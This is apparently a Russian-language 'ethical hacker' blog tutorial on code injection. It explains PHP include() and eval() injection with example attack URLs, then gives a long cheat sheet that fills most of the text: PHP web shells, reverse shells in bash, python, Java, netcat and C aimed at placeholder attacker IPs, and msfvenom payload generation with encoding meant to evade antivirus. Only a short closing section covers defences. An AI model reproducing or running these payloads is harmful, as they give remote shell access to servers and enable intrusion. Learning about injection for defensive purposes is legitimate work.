Руководство по внедрению кода
Этичный Хакер
Что такое внедрение кода?
OWASP определяет внедрение кода как общий термин для любого типа атаки, который состоит из внедрения кода, который затем интерпретируется и выполняется приложением. Этот тип атаки использует плохую обработку ненадежных данных. Эти типы атак обычно становятся возможными из-за отсутствия надлежащей проверки входных/выходных данных, таких как:
- разрешенные символы (стандартные классы регулярных выражений или пользовательские)
- формат данных
- объем ожидаемых данных
Внедрение кода отличается от внедрения команд тем, что злоумышленник ограничен только функциональностью самого внедренного языка. Если злоумышленник может внедрить и выполнить PHP-код в приложение, то он ограничен только возможностями PHP. Внедрение команд состоит в использовании существующего кода для выполнения команд, обычно в контексте оболочки.
Как это работает?
Сценарий 1: PHP include() function
В этом случае функция PHP include() используется без проверки ввода.
http://vulnerable-site.com/?path=support.php
Чтобы воспользоваться уязвимостью, мы будем хранить нашу полезную нагрузку на внешнем сервере, чтобы вызвать внешний файл и выполнить его на уязвимом сервере:
http://vulnerable-site.com/?path=http://attacker-website/paylaod.php
Сценарий 2: PHP eval() function
В этом примере используется уязвимая функция PHP eval(), которая обеспечивает быстрый и удобный способ выполнения строковых значений в виде PHP-кода, особенно на начальных этапах разработки или для отладки, которая приведет к внедрению кода. Исходный код выглядит следующим образом:
<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
Параметр передается по URL-адресу следующим образом:
http://vulnerable-site.com/?parameter=value
Злоумышленник, которому известно об используемой функции eval(), может отправить следующую полезную нагрузку, чтобы воспользоваться уязвимостью:
http://vulnerable-site.com/?parameter=value;phpinfo();
В случае успеха функция phpinfo() будет выполнена после "повторения" значения параметра и предоставит информацию о деталях конфигурации.
- Более того, в случае, если функция system() также включена, это может позволить злоумышленнику выполнять произвольные команды, как показано ниже:
http://vulnerable-site.com/?parameter=value;system('ls -l');
Каково влияние от внедрения кода?
В случае небезопасной обработки вредоносного кода, введенного пользователем, уязвимость позволяет выполнить этот код. Это может привести к выполнению произвольного кода на сервере или к запуску системных команд на сервере, что приводит к атакам с внедрением команд.
Cheatsheet
--------------------------------------------------------------------
php:
# Execute one command
<?php system("whoami"); ?>
<?php echo shell_exec("nc.exe -nlvp 4444 -C:\Windows\System32\cmd.exe");?>
# Take input from the url paramter. shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET["cmd"]); ?>
<? passthru($_GET["cmd"]); ?>
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php $c=$_GET[‘c’]; echo `$c`; ?>
# The same but using passthru
<?php passthru($_GET['cmd']); ?>
# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
# Using backticks
<?php echo `whoami`; ?>
# upload nc.php
<?php echo system("nc -lvp 81 -e cmd.exe");?>
# upload nc.exe
# run nc.php on browser
--------------------------------------------------------------------
Bash:
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i >& /dev/tcp/<your ip>/<your port> 0>&1
nc -nlvp 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> <your port> >/tmp/f
--------------------------------------------------------------------
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
--------------------------------------------------------------------
Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
--------------------------------------------------------------------netcat:
# netcat bind shell
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555
# netcat reverse shell
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash
# With -e flag
nc -e /bin/sh <your ip> <your port>
# Without -e flag
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
--------------------------------------------------------------------C
#include <stdlib.h>
int main () {
system("nc.exe -e cmd.exe <myip> <myport>");
return 0;
}
--------------------------------------------------------------------
Msfvenom
--------------------------------------------------------------------
Msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -o shell_reverse.exe
--------------------------------------------------------------------to avoid AV detection, use encryption:
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
--------------------------------------------------------------------php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.php
--------------------------------------------------------------------
asp:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f asp > shell.asp
--------------------------------------------------------------------war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f war > shell.war
--------------------------------------------------------------------JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.jsp
--------------------------------------------------------------------binary:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf
--------------------------------------------------------------------List linux meterpreter payloads:
msfvenom --list | grep xxxx
--------------------------------------------------------------------Send linux shell to meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost= lport= -f elf -o msf.bin (set multi handler then)
--------------------------------------------------------------------
Как бороться с внедрением кода?
Чтобы избежать внедрения кода и исправить его, вы можете выполнить следующее действия:
- Проверка при вводе пользователем: Данные из всех потенциально ненадежных источников должны подвергаться проверке ввода, включая не только веб-клиентов, подключенных к Интернету, но и внутренние каналы через экстрасети, от поставщиков, партнеров, вендоров или регулирующих органов, каждый из которых может быть скомпрометирован сам по себе и начать отправлять искаженные данные.
- Избегайте использования уязвимых функций в коде: также возможно протестировать код с помощью автоматизированных инструментов для выявления небезопасных функций и возможных уязвимостей.
PS: Обычно отключаемые функции для PHP включают: exec(), passthru(), shell_exec(), system(), proc_open(), popen(), curl_exec(), curl_multi_exec(), parse_ini_file() и show_source().
Более подробное описание данной темы, здесь: